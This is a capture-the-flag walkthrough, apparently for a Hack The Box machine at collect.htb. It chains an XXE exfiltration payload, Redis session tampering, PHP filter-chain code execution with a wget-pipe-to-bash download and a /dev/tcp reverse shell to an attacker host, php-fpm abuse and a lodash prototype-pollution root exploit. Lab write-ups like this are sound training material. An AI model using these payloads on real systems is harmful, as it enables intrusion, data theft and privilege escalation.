TCP Scan

> TARGET=<target> && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT  STATE SERVICE REASON  VERSION
22/tcp open  ssh    syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open  redis   Redis key-value store
  • Found: collect.htb

Web Enum

  • Subdomain search
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://collect.htb/" -H "Host: FUZZ.collect.htb" --hl 541

000000023:   200        336 L    1220 W     14098 Ch    "forum"
000002341:   401        14 L     54 W       469 Ch      "developers"
  • Add both subdomains to /etc/hosts
  • From http://forum.collect.htb/memberlist.php, we can find a list of members
  • We can register a user at http://forum.collect.htb/member.php
  • From http://forum.collect.htb/portal.php, we learnt there is an API for access
Posted by: victor - 10-19-2022, 08:03 PM - Forum: Collect Forum - Replies (3)
Hello, I am unable to login to the Pollution API. Can someone help me? 
  • From http://forum.collect.htb/showthread.php?tid=2, we learnt there is a subdomain that’s most-likely for developers and is access controlled (i.e 401). This is very likely the developers subdomain we found previously that gave us a 401 response.
  • From http://forum.collect.htb/showthread.php?tid=9, we learnt this instance might have been deployed by k8s, and the sysadmin might be new to k8s hence there is likely to be misconfigurations.
  • From http://forum.collect.htb/showthread.php?tid=13, there is an attachement from victor, note the following item
<item>
    <time>Thu Sep 22 18:29:34 BRT 2022</time>
    <url><![CDATA[http://collect.htb/set/role/admin]]></url>
    <host ip="192.168.1.6">collect.htb</host>
    <port>80</port>
    <protocol>http</protocol>
    <method><![CDATA[POST]]></method>
    <path><![CDATA[/set/role/admin]]></path>
    <extension>null</extension>
    <request base64="true"><![CDATA[UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==]]></request>
    <status>302</status>
    <responselength>296</responselength>
    <mimetype></mimetype>
    <response base64="true"><![CDATA[SFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDIyIFNlcCAyMDIyIDIxOjMwOjE0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjU0IChEZWJpYW4pDQpFeHBpcmVzOiBUaHUsIDE5IE5vdiAxOTgxIDA4OjUyOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNClByYWdtYTogbm8tY2FjaGUNCkxvY2F0aW9uOiAvaG9tZQ0KQ29udGVudC1MZW5ndGg6IDANCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo=]]></response>
    <comment></comment>
</item>

Getting web admin access

  • From the above obtained payload, we can base64 decode the request to retrieve a token. The response contains nothing interesting, only a 302 response.
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf
  • This request looks like an attempt to assign the user with admin role, and the token must be privileged. Let’s imitate this request and set our current user as admin.
  • Note that this request is sent against the collect.htb domain, rather than the forum.collect.htb domain. Therefore, we need to register a new user at http://collect.htb/regsiter and then send a post request to change our user role to admin
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/login
Cookie: PHPSESSID=sq52a734q850al5gri71pci0uh
Upgrade-Insecure-Requests: 1

token=ddac62a28254561001277727cb397baf
  • After the post, we are able to browse to the admin page http://collect.htb/admin, where we can use the API registration form to send requests to the API endpoint and register a user to access the API.
POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 174
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=sq52a734q850al5gri71pci0uh

manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>meow</username><password>test123</password></user></root>

Arbitrary file read

  • Use the following payload and hosting a dtd file, we are able to read arbitrary files on the target (base64 encoded)
# the payload is structured like below, replace <xxe-payload> with your payload:
# manage_api=<?xml version="1.0" encoding="UTF-8"?><xxe-payload><root><method>POST</method><uri>/auth/register</uri><user><username>meow</username><password>test123</password></user></root>

# POST body
# Note: you don't need to url encode the post body or substitute the spaces with +, somehow the format works
manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<attacker-ip>/file.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>meow</username><password>test123</password></user></root>

# file.dtd, serve this file with a http server
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://<attacker-ip>/?file=%file;'>">
%eval;
%exfiltrate;
  • Once we are able to read arbitrary files, read ../bootstrp.php file which contains a password for redis server
<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=C**************S');

session_start();

require '../vendor/autoload.php';
  • There is also a developer password at /var/www/developers/.htpasswd, which is hashed using apache’s apr1, this can be cracked using hashcat.
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.*******

> hashcat -m 1600 hash.txt rockyou.txt

Access developers.collect.htb via redis

  • After cracking the password of developers_group, we are able to pass the basic auth at developers.collect.htb and then we are confronted with another login page.
  • From the previously obtained password for redis, we are able to access the redis server and authenticate
> redis-cli -h collect.htb                    
collect.htb:6379> auth C**************S
OK
  • Inspecting the keys, we found our user session in the server. This server may be used for session management. Hence, by tweaking with the keys, we might be able to bypass the login page.
collect.htb:6379> keys *
1) "PHPREDIS_SESSION:<your-session-id>"
  • In order to find a way to bypass, we need to look at how a session is managed. However, if we just login to developers.collect.htb, the session content will be empty (presumably the session contents is not applicable to basic auth).
  • So, to examine a valid session content, let’s perform a fresh register and login at collect.htb and then examine the keys. Apparently, we can exploit this to pass the login page at developers.collect.htb
collect.htb:6379> get PHPREDIS_SESSION:<your-session-id>
"username|s:4:\"meow\";role|s:4:\"user\";"
  • Now, check developers.collect.htb and make a note of our PHPREDIS_SESSION value and replace the redis record for our user session using the following payload to bypass the login page. Note the extra bit auth|s:1:\"a\";
collect.htb:6379> set PHPREDIS_SESSION:<your-session-id> "username|s:4:\"meow\";role|s:5:\"admin\";auth|s:1:\"a\";"
  • Once we have replaced the redis record, refresh the developers page and we are now able to browse into http://developers.collect.htb/?page=home

RCE: www-data

# this will generate a very long output
> python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>  '
  • Paste the above output into the page parameter and observe your code being executed by the webapp.
  • Now, we can utilise this to create a reverse shell. Note: the generated result is lengthy and there is a character limit on the site. Hence, we need to use php shorthand forms to make our payload as short as possible
# php tag short form, i.e <?php ?>: <?= ?>
# php executor short form, i.e system('<cmd>'): ``
# result short form payload: <?= `<cmd>` ?>
  • Here, we can use wget to fetch a bash script and let the script run after fetching
# prepare a bash payload and save in a file called `m`, then serve it with a http server
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

# generate a chain to wget the script and run it
> python3 php_filter_chain_generator.py --chain '<?= `wget -O - <attacker-ip>/m|bash` ?>'

# setup a nc listener to receive the reverse shell
  • After following the above, we should now have a reverse shell as www-data

PE: victor

  • Perform enum, we found a db password in /var/www/developers/login.php
$db = new mysqli("localhost", "webapp_user", "S******************1", "developers");
  • Login to the db and enum the db
> mysql -u webapp_user -p'S******************1' -D developers -e 'show tables;'
users

> mysql -u webapp_user -p'S******************1' -D developers -e 'select * from users;'
id      username        password
1       admin   c89efc49ddc58ee4781b02becc788d14

# The password hash is not crackable
  • Run linpeas and note the following info, there is an app running at 127.0.0.1:9000, this is a fastcgi app. And there is a php application pool run as victor, which is our next target
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 ::1:6379                :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -

[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
victor      1096  0.0  0.3 265840 15932 ?        S    Dec03   0:00  _ php-fpm: pool victor
# note that the <file> parameter can be any writeable file we create on the target
# in here, i created a file at /tmp/index.php
> python3 fpm.py -c '<?php system("id"); exit; ?>' 127.0.0.1 /tmp/index.php
uid=1002(victor) gid=1002(victor) groups=1002(victor)
  • For a ssh shell as victor, we can echo our ssh public key into victor’s .ssh/authorized_keys file
> python3 fpm.py -c '<?php system("echo \"id_rsa.pub\" > /home/victor/.ssh/authorized_keys"); exit; ?>' 127.0.0.1 /tmp/index.php
  • ssh into the target as victor and fetch the user flag
> ssh victor@collect.htb

PE: root

  • Re-run linpeas as victor, note the following, this is likely the API service and it’s run by root
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root        1331  0.0  1.9 1680592 76708 ?       Sl   Dec03   0:01  _ /usr/bin/node /root/pollution_api/index.js
  • There is a copy of the code in victor’s home directory: /home/victor/pollution_api
  • Inspecting the code, we can spot a vulnerable function at pollution_api/controllers/Messages_send.js that can be exploited using prototype pollutioning, note the line _.merge(message, req.body).
const messages_send = async(req,res)=>{
    const token = decodejwt(req.headers['x-access-token'])
    if(req.body.text){

        const message = {
            user_sent: token.user,
            title: "Message for admins",
        };

        _.merge(message, req.body);

        exec('/home/victor/pollution_api/log.sh log_message');

        Message.create({
            text: JSON.stringify(message),
            user_sent: token.user
        });

        return res.json({Status: "Ok"});

    }

    return res.json({Status: "Error", Message: "Parameter text not found"});
}
const Sequelize = require('sequelize');
const sequelize = new Sequelize('pollution_api','webapp_user','S******************1',{
    host: '127.0.0.1',
    dialect: 'mysql',
    define: {
        charset: 'utf8',
        collate: 'utf8_general_ci',
        timestamps: true
    },
    logging: false
})

module.exports = { Sequelize, sequelize };
  • Login to pollution_api db and change user role to admin
victor@pollution:~$ mysql -u webapp_user -p'S******************1' -D pollution_api

MariaDB [pollution_api]> show tables;
+-------------------------+
| Tables_in_pollution_api |
+-------------------------+
| messages                |
| users                   |
+-------------------------+
2 rows in set (0.001 sec)

MariaDB [pollution_api]> select * from users;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | meow     | test123  | user | 2022-12-04 20:37:37 | 2022-12-04 20:37:37 |
+----+----------+----------+------+---------------------+---------------------+
1 rows in set (0.001 sec)

MariaDB [pollution_api]> update users set role='admin';
Query OK, 1 rows affected (0.001 sec)
Rows matched: 1  Changed: 1  Warnings: 0
  • Now, we can login with meow and receive a token that has admin privilege and exploit the /admin/messages/send API.
# login as meow and receive a token
> curl http://127.0.0.1:3000/auth/login -H "content-type: application/json" -d '{"username":"meow","password":"test123"}'
{"Status":"Ok","Header":{"x-access-token":"<token>"}}

# send a polluted payload to get code execution
# in here, we executed: chmod +s /usr/bin/bash
> curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token: <token>" -H "content-type: application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod +s /usr/bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
  • Prompt to root shell and get root flag
victor@pollution:~$ ls -ls /usr/bin/bash
1208 -rwsr-sr-x 1 root root 1234376 Mar 27  2022 /usr/bin/bash
victor@pollution:~$ bash -p
bash-5.1# cat /root/root.txt